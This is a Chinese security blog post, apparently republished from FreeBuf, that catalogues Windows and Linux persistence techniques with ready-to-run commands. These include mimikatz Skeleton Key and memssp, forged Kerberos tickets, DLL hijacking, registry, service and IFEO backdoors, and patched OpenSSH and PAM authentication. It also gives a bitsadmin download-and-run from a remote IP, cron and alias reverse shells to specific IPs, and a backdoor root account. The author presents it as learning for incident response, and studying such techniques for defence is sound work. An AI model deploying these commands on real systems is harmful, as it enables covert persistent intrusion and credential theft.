权限维持:对抗防御的持久暗涌
本文介绍了Windows和Linux系统中的权限维持技术,包括DLL劫持、登录记录伪造、票据攻击(如黄金票据、白银票据)、计划任务后门、Rootkit隐藏技术等方法,并提供了具体工具和实现步骤。 2025-12-19 09:22:52 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

导语

上篇说的是权限提升,这篇就说权限维持,还是windows和linux的总结,希望可以帮助师傅们。

Windows

域环境

基于验证DLL加载-SSP

登录记录

原理是hook msv1_0.dll的SpAcceptCredentials函数,伪造的SSP注入内存,待域内用户登录域内计算机时会将凭据写入C:\Windows\System32\mimilsa.log中,域控关机后则会失效。

privilege::debug
misc::memssp

image.png
image.png
image.png

登录记录升级版

上面说重启后会失效,那么我们把mimilib.dll传到c:\windows\system32\下并修改注册表让系统启动时加载mimilib.dll不就行了。最后生成的文件在c:\windows\system32\kiwissp.log ,需要重启才能触发。

reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

但是当域控密码更改,这个就生效了,权限都丢了咋看,我们可以把生成的mimilsa.log或kiwissp.log,在通过计划任务,运行脚本或exe发送到我们的目标服务器即可。

基于登录进程劫持-Skeleton Key

原理将 Skeleton Key 注入域控制器的 lsass.exe 进程。为指定账号创建一个新密码,域控重启失效

域控上执行
mimikatz:privilege::debug
misc::skeleton

image.png

ipc链接
net use \owa.god.org\ipc$ "mimikatz" /user:god\administrator
dir \owa.god.org\c$

image.png

基于用户属性修改-SID history

其实就是让普通用户获取administrator的权限

获取域内所有使用的sid
wmic useraccount get sid,name 1000以后普通用户
获取某用户SID属性
Powershell Get-ADUser testuser -Properties sidhistory

image.png

域控命令
privilege::debug
sid::patch
sid::add /sam:testuser /new:administrator

image.png
image.png
image.png

基于机制账号启用-DSRM

DSRM ( Directory Services Restore Mode,目录服务恢复模式)是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户(也就是DSRM账户)
DSRM的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常,那么我们把krbtgt用户和dsrm用户的密码绑定,设置dsrm用户可以登录任意机器,从而做到权限维持。

dsrm&krbtgt&NTLM hash同步
krbtgt用户的 NTLM hash覆盖administrator用户的NTLM hash

运行NTDSUTIL
NTDSUTIL

修改DSRM的密码
set DSRM password

使DSRM的密码和指定域用户的密码同步
sync from domain account krbtgt
q q 退出

设置DSRM可以被所有机器登录
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa" -name "dsrmadminlog
onbehavior" -value 2 -propertyType DWORD

获取krbtgt的NTLM hash
privilege::debug
lsadump::lsa /patch /name:krbtgt

image.png

之后再利用pth攻击即可

image.png

票据维持

黄金票据

krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户,黄金票据就是伪造krbtgt用户的TGT(请求认证权证)票据

条件
1.域名称
2.域的SID值
3.域的krbtgt账户的NTLM-Hash
4.伪造任意用户名

获得想要获得黄金票据的用户sid值
wmic useraccount get name,sid

获得krbtgt 的NTLM Hash
mimikatz privilege::debug
lsadump::dcsync /domain:god.org /user:krbtgt

制作黄金票据
mimikatz kerberos::golden /user:administrator /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /ticket:goldentgt

导入票据
mimikatz kerberos::ptt goldentgt

image.png
image.png
image.png

白银票据

白银票据是伪造的 Kerberos Ticket Grant Service (TGS) 票证,银票仅允许攻击者伪造特定服务的票证授予服务 (TGS) 票据。TGS 票证使用服务的密码哈希值进行加密,因此如果攻击者窃取了服务帐户的哈希值,就可以生成白银票据

条件
1.目标机器的hsah
2.域的sid
3.计算机名

获得目标机器的的hash

mimikatz privilege::debug
mimikatz sekurlsa::logonpasswords(0a3778a3bd20ce9e27154c0941b5c65a)

获取域sid
whoami /all

获取计算机名
hostname

制作并注入白银票据
mimikatz kerberos::golden /sid:S-1-5-21-2952760202-1353902439-2381784089 /doamin:god.org /target:计算机名.域名/service:cifs /rc4:0a3778a3bd20ce9e27154c0941b5c65a /user:111 /ptt

image.png
image.png

钻石票据

黄金票据攻击和钻石票据攻击都需要访问krbtgt密钥。然而,钻石票据攻击需要访问AES256密钥。黄金票证攻击则是利用伪造票证授予票证 (TGT) ,而钻石票证攻击则利用了域控制器 (DC) 请求的真实 TGT 进行解密和重新加密进行票据攻击。黄金票据充分利用了能够从头开始伪造票据授予票据 (TGT) 的优势,而钻石票据则利用了能够解密和重新加密从域控制器 (DC) 请求的真实 TGT 的优势。

条件:
1.krbtgt的ntlmhsah和aes256
2.域控计算机名
3.域账号用户密码
4.域名

Rubeus.exe asktgt /user:administrator /password:159/aes256:a780c2c18b3287e3448562a36dccb2d57d11fd398b55ce2cd9b128308cef74df /domain:god.org /dc:owa.god.org /ptt /nowrap

Rubeus.exe asktgs /ticket: base64的票据/service:cifs/owa /ptt /nowrap

image.png
image.png
image.png

蓝宝石票据

蓝宝石票据与钻石票据类似,票据不是伪造的,而是通过请求后获得的合法票据。他们的区别在于PAC的修改方式。钻石票据是修改了合法PAC以添加特权组。在蓝宝石票据中,高权限用户PAC是通过S4U2Self+U2U获得的,然后该PAC会替换原来的PAC,由于该票据是完全合法元素组合起来的,所以是最难检测的票据。

条件:
1.域名
2.普通用户账号密码
3.域sid
4.krbtgt的ntlmhash和aes256

获取krbtgt的ntml和aeskey
lsadump::dcsync /domain:god.org /user:krbtgt
krbtgt:ntlm:58e91a5ac358d86513ab224312314061
aeskey:a780c2c18b3287e3448562a36dccb2d57d11fd398b55ce2cd9b128308cef74df

构造票据
python ticketer.py -request -impersonate 'administrator' -domain 'god.org' -user 'liukaifeng01' -password '159' -aesKey 'a780c2c18b3287e3448562a36dccb2d57d11fd398b55ce2cd9b128308cef74df
' -domain-sid 'S-1-5-21-2952760202-1353902439-2381784089' -nthash '58e91a5ac358d86513ab224312314061' 'test'

载入票据
kerberos::ptc test.ccache

image.png
image.png
image.png

黄金票据:能控制所有服务协议资源,但容易被安全设备捕获(伪造票据)
白银票据:只能控制指定服务协议资源,但不容易被安全设备捕获(伪造票据)
钻石票据:利用条件更多,权限维持更持续,更不容易被安全设备捕获,重启还可以生效(真实票据)
蓝宝石票据:利用条件更多,权限维持更持续,更难被安全设备捕获(真实票据)

详细:https://xz.aliyun.com/news/13032

单机

dll劫持

dll劫持的原理就是软件运行没有校验dll文件,导致攻击者可以让软件运行时加载自己的恶意dll文件。

CVE-2025-56383

Notepad++ v8.8.3 存在 DLL 劫持漏洞,攻击者可将恶意DLL(如NppExport.dll)覆盖原始插件文件,同时将原文件重命名(如改为original-NppExport.dll)以保留功能。

image.png

Onedrive

onedrive都不陌生在win11开机后会自动运行的软件,我是看过一篇文章说onedrive有一个dll劫持的漏洞,但一直没人在意,就是这个文件ucrtbase.dll。

image.png

目录遍历

这里主要是利用漏洞,目录遍历到启动项目录,达到权限维持。

CVE-2025-6218

漏洞的根本原因在于WinRAR对文件路径的处理不当,恶意构造的文件路径可能导致进程访问不该访问的目录,从而在当前用户上下文中执行恶意代码。

image.png
image.png

CVE-2025-11001

CVE-2025-11001 是 2025 年 10 月披露的 高危目录穿越漏洞,影响 Windows 平台的 7-Zip(v21.02–v24.09)。漏洞源于 ZIP 符号链接处理逻辑缺陷,攻击者可构造恶意 ZIP 文件,在用户解压时将文件写入系统任意位置,从而实现 任意代码执行。

python exploit.py -t "C:\Users\zyjsuper\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" -o demo.zip --data-file http.exe

解压demo.zip

image.png

自启动

这个就是很老生常谈的了,自启动路径,服务,注册表这种。

自启动路径加载

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

image.png

自启动服务加载

服务运行时system权限

sc create backdoor binPath= "C:\Users\daheike\Desktop\http.exe" start= auto DisplayName= "backdoor"
创建名为backdoor的服务,路径 自动开启

image.png

自启动注册表加载

-添加启动项
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "backdoor" /t REG_SZ /F /D "C:\Users\daheike\Desktop\http.exe"
REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "backdoor" /t REG_SZ /F /D "C:\Users\daheike\Desktop\http.exe"

image.png

基于时间触发计划任务

计划任务在Windows7及之前版本的操作系统中使用at命令调用,在从Windows8版本开始的操作系 统中使用schtasks命令调用。计划任务后门分为管理员权限和普通用户权限两种。管理员权限的后门 可以设置更多的计划任务,例如重启后运行等

schtasks /create /tn "backdoor" /tr "C:\Users\daheike\Desktop\http.exe" /sc onstart /ru SYSTEM
image.png
image.png

bitsadmin

这个根计划任务相似,而且可以自己主动下载文件并运行。

创建任务:
bitsadmin /create backdoor
添加下载文件
bitsadmin /addfile backdoor "http://47.109.177.97/msfhttp.exe" "C:\Users\zyjsuper\Desktop\http.exe"
设置下载完成后的执行命令
bitsadmin /SetNotifyCmdLine backdoor C:\Users\zyjsuper\Desktop\http.exe NUL
设置重试策略:
bitsadmin /SetMinRetryDelay "backdoor" 30
启动任务:
bitsadmin /resume backdoor

image.png

基于事件触发组策列

可以在控制机器上创建策列上线,如编辑灯枯或注销时运行策列的方式,运行.bat文件执行木马。

image.png
image.png
image.png

shiftt粘滞键

个就是按五下shift弹出的exe提示,我们把这个换成cmd.exe,这样我们就可以在登录的情况下执行系统命令。

修改权限
takeown /f C:\Windows\System32\sethc.exe
备份文件
copy sethc.exe sethc1.exe
替换劫持
copy cmd.exe sethc.exe

image.png

映像劫持

白话来讲就是做某个操作的时候被拦截下来,干了别的事。当我们双击运行程序时,系统会查询该IFEO注册表,如果发现存在和该程序名称完全相同的子键,就查询对应子健中包含的“debugger”键值名,如果该参数不为空,系统则会把 Debugger 参数里指定的程序文件名作为用户试图启动的程序执行请求来处理。这样成功执行的是遭到“劫持”的虚假程序。而且我们可以使用GlobalFlag键,可以让原有软件运行的同时运行我们的木马。

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Users\daheike\Desktop\http.exe"

image.png

WinLogon

winlogon.exe是windows中非常重要的进程,在用户还没登录系统之前就已经存在,并与密码验证相关的重要任务精密相关。例如,当在用户登录时,Winlogon 进程负责将用户配置文件加载到注册表中

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\windows\system32\userinit.exe,C:\Users\daheike\Desktop\http.exe"
还可以配合powershell无文件

image.png
image.png

屏幕保护

屏幕保护程序,当初的设计是为了防止长期屏幕的显示,预防老化与缩短屏幕显示器老化的一种保护程序。在对方开启屏幕保护的情况下,我们可以修改屏保程序为我们的恶意程序从而达到后门持久化的目的,攻击者可以利用屏幕保护程序来隐藏shell,达到一定的权限维持

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\Users\daheike\Desktop\http.exe" /f

image.png
image.png

Logon Scripts

Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截

REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\path\to\malicious_script.bat"

image.png

Rootkit

Windows rootkit(根套件)是一类恶意软件,旨在隐藏自身或其他恶意进程,以避免被检测和删除。进程隐藏是rootkit常见的功能之一,根套件通过多种技术来实现这一目标

r77

文件,文件夹

image.png

image.png

服务

image.png
image.png

注册表

image.png
image.png

计划任务

image.png

下载地址:https://github.com/bytecode77/r77-rootkit

Linux

OpenSSH后门

替换本身操作系统的ssh协议支撑软件openssh,重新安装自定义的openssh,达到记录帐号密码,也可以采用万能密码连接的功能。

下载依赖项
dnf -y install openssl openssl-devel pam-devel zlib zlib-devel
yum -y install gcc gcc-c++ make
上传两个安装包
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz

wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz

tar -xzvf openssh-5.9p1.tar.gz

cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
cd

cd openssh-5.9p1 && patch < sshbd5.9p1.diff

添加万能密码
vim includes.h
ILOG是别人用ssh登录该主机记录的日志目录(有明文密码)
OLOG是该主机用ssh登录其他主机记录的日志目录(有明文密码)
SECRETPW 就是万能密码

image.png

更换版本( OpenSSH_8.7p1, OpenSSL 3.5.1 1 Jul 2025)
vim version.h
OpenSSH_8.7p1, OpenSSL 3.2.2 4 Jun 2024

image.png

编译
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install

image.png

重启服务

image.png

详细:https://mp.weixin.qq.com/s/BNrJHUs9qxEVHNSFEghaRw
systemctl restart sshd.service

SSH-PAM后门

PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的认证,简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于/etc/pam.d),最后调用认证文件(位于/lib/security)进行安全认证简易利用的PAM后门也是通过修改PAM源码中认证的逻辑来达到权限维持以下为Pam后门种植的过程,只是特别把一点tips和需要注意的点贴出来。查询目标版本后下载对应源代码修改认证逻辑、编译替换原认证文件即可。版本务必要和目标系统完全保持对应。

设置安全等级
setenforce 0

查询rpm版本
rpm -qa | grep pam

image.png

下载对用版本的pam
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
解压
tar -xvf Linux-PAM-1.1.8.tar.xz
下载编译环境
yum install gcc flex flex-devel -y

修改配置文件写入后门密码
vim Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c

image.png

编译
cd Linux-PAM-1.5.1
./configure && make
覆盖
cd /root/Linux-PAM-1.1.8/modules/pam_unix/.libs
cp pam_unix.so /usr/lib64/security/pam_unix.so

image.png

下载连接:https://mirrors.aliyun.com/blfs/conglomeration/Linux-PAM/

SSH软链接

利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而 su 在 pam_rootok 只检测 uid 0 即可认证成功,这样就导致了可以使用任意密码登录

查看是否使用PAM进行身份验证
cat /etc/ssh/sshd_config|grep UsePAM

image.png

创建软连接并且在启动一个ssh登录的端口
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=6666

可能会有防火墙拦截
firewall-cmd --add-port=6666/tcp --permanent
firewall-cmd --reload
firewall-cmd --query-port=6666/tcp(yes)

image.png

Linux ssh密钥

这个是老生常谈的公钥免登陆,这种用法不只是用在留后门,还可以在一些特殊情况下获取一个交互的shell,如struts写入公钥,oracle写入公钥连接,Redis未授权访问等情景

服务器开启使用公私钥登录方式

条件
cat /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
生成密钥对
ssh-keygen -t rsa(一直回车就行)
上传公钥到~/.ssh/authorized_keys
权限
chmod 600 /root/.ssh/authorized_keys
chmod 700 ~/root/.ssh
连接
ssh -i 私钥 [email protected]
image.png

后门账号

创建一个root权限的用户

useradd -popenssl passwd -1 -salt 'salt' 密码用户名 -o -u 0 -g root -G root -s /bin/bash -d /home/用户名

直接修改/etc/passwd文件
echo "用户名:x:0:0::/:/bin/bash" >> /etc/passwd
passwd 用户名

定时任务-Cron后门

在Linux系统中,计划任务一般是由cron承担,我们可以把cron设置为开机时自动启动。cron启动后,它会读取它的所有配置文件(全局性配置文件/etc/crontab,以及每个用户的计划任务配置文件),然后cron会根据命令和执行时间来按时来调用工作任务

文件
vim /etc/crontab
*/1 * * * * root 文件路径
命令
vim /var/spool/cron/root
*/1 * * * * bash -i >& /dev/tcp/47.109.177.97/9999 0>&1 2>&1

image.png

Strace后门

strace 是一个动态跟踪工具,它可以跟踪系统调用的执行。我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围

sshd 明文
(strace -f -F -pps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}-t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
查看文件
grep -E 'read(6, ".+\0\0\0\.+"' /tmp/.sshd.log

image.png

Alias 后门

alias就是可以自定义命令,也支持两个命令同时运行,那么攻击者把ls常见命令后同时运行反弹shell命令,从而达到权限维持。

添加
alias 123="ls -l"

image.png

都执行但是会卡住
alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/192.168.225.130/4444 0>&1;};alerts'

image.png

文件 重启之后不会消失
Vim /root/.bashrc

alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'''UTF-8''')}sys.version_info[0]))";};alerts'

image.png

Rootkit 后门

rookit技术根windows的一样,是我们的进程,网络连接,文件,文件夹隐藏。

reptile

支持版本

image.png

安装
yum -y install perl vim gcc make g++ unzip
yum -y localinstall kernel-devel-"$kernal".rpm
chmod +x setup.sh
./setup.sh install
隐藏关键词
密码
密码
隐藏关键词
666
y
ip
端口
1

隐藏进程号
/reptile/reptile_cmd hide 4774(pid)

image.png

隐藏/展示端口
/reptile/reptile_cmd tcp ip:88 hide

image.png
image.png

文件当中带有reptile的都会隐藏

结语

最后其实我觉得学权限维持主要还是为应急响应打基础,知道更多的技术才能找到隐藏的恶意文件,也可以了解更多操作系统的知识,共同学习共同进步。

github:hkl1x
weixin:wxid_gyhkcfxipu5w22


文章来源: https://www.freebuf.com/articles/system/462924.html
如有侵权请联系:admin#unsafe.sh